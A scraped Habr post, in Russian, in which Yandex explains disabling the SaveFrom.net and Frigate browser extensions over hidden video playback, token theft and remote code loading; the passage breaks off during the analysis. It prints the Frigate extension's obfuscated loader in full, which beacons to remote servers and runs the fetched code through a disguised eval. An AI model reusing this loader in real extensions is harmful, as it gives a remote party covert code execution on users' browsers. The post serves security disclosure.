{"id":315440,"date":"2020-12-24T09:00:18","date_gmt":"2020-12-24T09:00:18","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=315440"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=315440","title":{"rendered":"\u042f\u043d\u0434\u0435\u043a\u0441 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0441 \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0435\u0439 \u0432 8 \u043c\u043b\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u043c, \u043f\u043e\u0447\u0435\u043c\u0443 \u043c\u044b \u043f\u043e\u0448\u043b\u0438 \u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u0448\u0430\u0433"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\">\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u044b \u043f\u0440\u0438\u043d\u044f\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f SaveFrom.net, Frigate Light, Frigate CDN \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u042f\u043d\u0434\u0435\u043a\u0441.\u0411\u0440\u0430\u0443\u0437\u0435\u0440\u0430. \u0421\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u0430\u044f \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f \u044d\u0442\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 8 \u043c\u043b\u043d \u0447\u0435\u043b\u043e\u0432\u0435\u043a. <\/p>\n<p>  \u0412 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0435 \u043c\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u043c \u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u0445 \u0438 \u043f\u043e\u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0441 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439. \u0412\u044b \u0443\u0437\u043d\u0430\u0435\u0442\u0435 \u043f\u0440\u043e \u0442\u0430\u0439\u043d\u043e\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432\u0438\u0434\u0435\u043e \u0438\u0437 \u043e\u043d\u043b\u0430\u0439\u043d-\u043a\u0438\u043d\u043e\u0442\u0435\u0430\u0442\u0440\u043e\u0432 \u0441 \u0446\u0435\u043b\u044c\u044e \u043d\u0430\u043a\u0440\u0443\u0442\u043a\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432. \u0423\u0432\u0438\u0434\u0438\u0442\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u043a\u043e\u0434\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0412\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0435. \u041c\u044b \u043f\u043e\u043a\u0430\u0436\u0435\u043c, \u043a\u0430\u043a \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/s5\/gm\/ta\/s5gmtaezmzqrfj2strevbrbr2j0.png\"><\/p>\n<p>  <a name=\"habracut\"><\/a><\/p>\n<h2>\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f<\/h2>\n<p>  \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0430\u0437\u0430\u0434 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u042f\u043d\u0434\u0435\u043a\u0441.\u0411\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0441\u0442\u0430\u043b\u0438 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u0432 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0441 \u0436\u0430\u043b\u043e\u0431\u0430\u043c\u0438 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439 \u0437\u0432\u0443\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u0437\u0430 \u0430\u0443\u0434\u0438\u043e\u0440\u0435\u043a\u043b\u0430\u043c\u0443. \u041f\u0440\u0438\u043c\u0435\u0440\u044b \u0442\u0430\u043a\u0438\u0445 \u0436\u0430\u043b\u043e\u0431:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/k1\/3x\/jk\/k13xjkaughei-4dgwrrslpehc08.png\"><\/p>\n<p>  \u041e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u043f\u043e\u043c\u043e\u0433\u043b\u043e \u043d\u0430\u043c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0437\u0432\u0443\u043a\u0430 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0431\u044b\u043b\u0430 \u0432\u0438\u0434\u0435\u043e\u0440\u0435\u043a\u043b\u0430\u043c\u0430. \u041d\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0438\u043a\u0430\u043a\u043e\u0435 \u0432\u0438\u0434\u0435\u043e \u0432 \u044d\u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430 \u044d\u043a\u0440\u0430\u043d\u0435 \u043d\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043c\u044b \u043f\u043e\u0434\u0443\u043c\u0430\u043b\u0438, \u0447\u0442\u043e \u043e\u043d\u043e \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043b\u043e\u0441\u044c \u0432 \u0434\u0440\u0443\u0433\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0432\u043a\u043b\u0430\u0434\u043a\u0435 \u0438\u043b\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u044d\u0442\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430\u0441\u044c. \u041d\u0430\u0447\u0430\u043b\u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e. \u0412 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439. <\/p>\n<p>  \u0422\u0430\u043a \u043c\u044b \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u043e\u0431\u0449\u0438\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043a: \u0443 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u0445 \u0431\u044b\u043b\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0438\u0434\u0435\u043e \u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 SaveFrom.net. \u041d\u0430\u0447\u0430\u043b\u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0414\u043e\u0433\u0430\u0434\u043a\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0432\u0435\u0440\u043d\u043e\u0439: \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u043b\u043e \u0438 \u0444\u043e\u043d\u043e\u0432\u044b\u0439 \u0448\u0443\u043c. \u0417\u0430\u0442\u0435\u043c \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u0435\u0433\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438. \u041e\u043d\u0438 \u0432\u044b\u0441\u043a\u0430\u0437\u0430\u043b\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u044d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0438 \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440\u0430, \u0438 \u0432\u043d\u0435\u0441\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0436\u0430\u043b\u043e\u0431\u044b \u043d\u0430 \u0437\u0432\u0443\u043a \u043f\u0440\u0435\u043a\u0440\u0430\u0442\u0438\u043b\u0438\u0441\u044c. <\/p>\n<h2>\u041d\u043e\u0432\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f<\/h2>\n<p>  \u0412 \u043d\u043e\u044f\u0431\u0440\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0430\u043d\u0442\u0438\u0444\u0440\u043e\u0434\u0430 \u042f\u043d\u0434\u0435\u043a\u0441\u0430 \u0437\u0430\u043f\u043e\u0434\u043e\u0437\u0440\u0438\u043b\u0430 \u043d\u0435\u043b\u0430\u0434\u043d\u043e\u0435. \u041e\u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0441\u0438\u0433\u043d\u0430\u043b \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432 \u0434\u043b\u044f \u043d\u0430\u043a\u0440\u0443\u0442\u043a\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432 \u0432\u0438\u0434\u0435\u043e \u0432 \u043e\u043d\u043b\u0430\u0439\u043d-\u043a\u0438\u043d\u043e\u0442\u0435\u0430\u0442\u0440\u0430\u0445. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u0438\u0434\u0435\u043e \u043d\u0435 \u0432\u0438\u0434\u0435\u043b\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u043e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u0432 \u0444\u043e\u043d\u0435. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043e\u043d\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u043b\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0438 \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0430\u043b\u043e \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0430\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0434\u043e\u0431\u0440\u043e\u0441\u043e\u0432\u0435\u0441\u0442\u043d\u044b\u043c.<\/p>\n<p>  \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u043d\u0430 \u043f\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0439 \u0437\u0432\u0443\u043a \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0436\u0430\u043b\u043e\u0432\u0430\u043b\u0441\u044f. \u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043b\u0435\u0433\u043a\u043e \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438 \u042f\u043d\u0434\u0435\u043a\u0441.\u0411\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438\u0437 \u0446\u0435\u043b\u0435\u0432\u043e\u0439. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043d\u0430\u0448\u0435\u0433\u043e \u0430\u043d\u0442\u0438\u0444\u0440\u043e\u0434\u0430 \u043c\u044b \u0443\u0436\u0435 \u043d\u0435\u043e\u0434\u043d\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 \u0438\u0437 Chrome Web Store (\u043d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u043d\u0430\u0448 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430). <\/p>\n<p>  \u041d\u043e \u0432\u0441\u0451 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043a\u0443\u0434\u0430 \u043f\u0440\u043e\u0449\u0435: \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0444\u043e\u043d\u043e\u0432\u043e\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432\u0438\u0434\u0435\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b\u043e \u0432 \u0431\u0435\u0437\u0437\u0432\u0443\u0447\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435. \u0412\u0441\u043a\u043e\u0440\u0435 \u043a\u043e\u043b\u043b\u0435\u0433\u0438 \u0438\u0437 \u0421\u043b\u0443\u0436\u0431\u044b \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430\u0448\u0435\u0433\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u043d\u043e \u0438 \u0434\u0430\u0436\u0435 \u043d\u0430\u0448\u0438\u0445 \u043a\u043e\u043b\u043b\u0435\u0433. \u0422\u0430\u043a \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0435 \u043d\u043e\u0443\u0442\u0431\u0443\u043a\u0438 \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0441\u043c\u043e\u0433\u043b\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u043c. <\/p>\n<p>  \u041d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u043d\u0430\u0448\u0438\u0445 \u043a\u043e\u043b\u043b\u0435\u0433 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f SaveFrom.net, Frigate Light \u0438\u043b\u0438 Frigate CDN. \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u0438\u043c\u0435\u043b (SaveFrom.net \u043c\u043e\u0433 \u0431\u044b\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0441 \u0441\u0430\u0439\u0442\u0430, \u0430 Frigate \u2014 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0438\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 Chrome Web Store). <\/p>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u043f\u043e\u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0441 \u0432\u0430\u043c\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430. \u041f\u0440\u0438\u0432\u0435\u0434\u0451\u043c \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043c \u0441\u0443\u0442\u044c \u0438\u0445 \u0440\u0430\u0431\u043e\u0442\u044b. \u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u0442\u044c\u0441\u044f \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0431\u0435\u0437 \u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0438 \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u043c, \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u0432\u0438\u0434\u0435\u043e \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. <\/p>\n<h2>\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430<\/h2>\n<p>  <\/p>\n<h3>Frigate<\/h3>\n<p>  (<i>\u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u043e <a href=\"https:\/\/yadi.sk\/d\/YZxCGZntvW2bzw\">\u0441\u0441\u044b\u043b\u043a\u0435<\/a><\/i>) <\/p>\n<p>  \u041e\u0431\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 (Light \u0438 CDN) \u0438\u043c\u0435\u044e\u0442 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 JS-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0442\u043e, \u043a\u0430\u043a \u0445\u0438\u0442\u0440\u043e \u0442\u0443\u0442 \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f eval(). \u041a\u0441\u0442\u0430\u0442\u0438, \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 <a href=\"https:\/\/developer.chrome.com\/docs\/webstore\/program_policies\/#content_policies\">\u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u044b<\/a> \u0432 Chrome Web Store.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">profile.js<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"javascript\">const configUrl = &quot;https:\/\/fri-gate.org\/config.txt&quot;; initProfiler(configUrl); function initProfiler(confUrl) {     const { Promise, navigator, setTimeout, chrome: { runtime, extension }, XMLHttpRequest: helper, Math: { floor, random }, String: { fromCharCode }, Object: { assign }, JSON: { parse, stringify }, } = window;     if (!extension || !runtime) {         return;     }     const { reload, id, getBackgroundPage, sendMessage } = runtime;     const k = fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114);     const noop = () =&gt; { };     const safePromise = (fn) =&gt; (new Promise(fn)).catch(noop);     const checkError = () =&gt; runtime.lastError;     const tryCatch = (fn) =&gt; { try {         return fn();     }     catch (e) { } };     const wrap = (f, v) =&gt; tryCatch(() =&gt; f(v));     const debug = (v) =&gt; v &amp;&amp; safePromise(wrap(Promise[k], v));     const sleep = (ms) =&gt; new Promise((resolve) =&gt; setTimeout(resolve, ms));     const b64decode = (str) =&gt; decodeURIComponent(escape(atob(str)));     const b64encode = (str) =&gt; btoa(unescape(encodeURIComponent(str)));     const decode = (str) =&gt; tryCatch(() =&gt; b64decode(str)) || str;     let initializing = false;     let initialized = false;     let config;     const sendBeacon = async () =&gt; {         try {             if (initializing || initialized || !navigator.onLine) {                 return;             }             initializing = true;             const method0 = &quot;GET&quot;;             const method = &quot;POST&quot;;             if (!config) {                 config = await fetch(confUrl, { method0 })                     .then((r) =&gt; r.text())                     .then(decode)                     .then(parse);             }             const { urls = [], delay = 1000 } = config;             \/\/console.log(urls[0]);             if (!urls.length) {                 return;             }             await sleep(delay);             const data = {                 id,                 ...runtime.getManifest(),             };             const url = urls[floor(random() * urls.length)];             if (!url) {                 return;             }             const promise = new Promise((resolve, reject) =&gt; {                 const r = assign(new helper(), {                     withCredentials: true,                     onerror: reject,                     ontimeout: reject,                     onabort: reject,                     onload: () =&gt; 200 === r.status ? resolve(r.response) : reject(),                 });                 r.open(method, url);                 r.send(b64encode(stringify(data)));             });             const result = await promise || &quot;&quot;;             await sleep(delay);             debug(decode(result));             initialized = true;         }         catch (e) {         }         finally {             initializing = false;         }     };     if (!getBackgroundPage) {         return sendMessage({ type: fromCharCode(248) }, (result) =&gt; {             checkError();             debug(result);         });     }     tryCatch(() =&gt; getBackgroundPage((bg) =&gt; {         if (bg === window) {             setTimeout(reload, 60 * 60 * 1000);             setInterval(sendBeacon, 60 * 1000);             addEventListener(&quot;online&quot;, sendBeacon);             sendBeacon();         }     })); }<\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  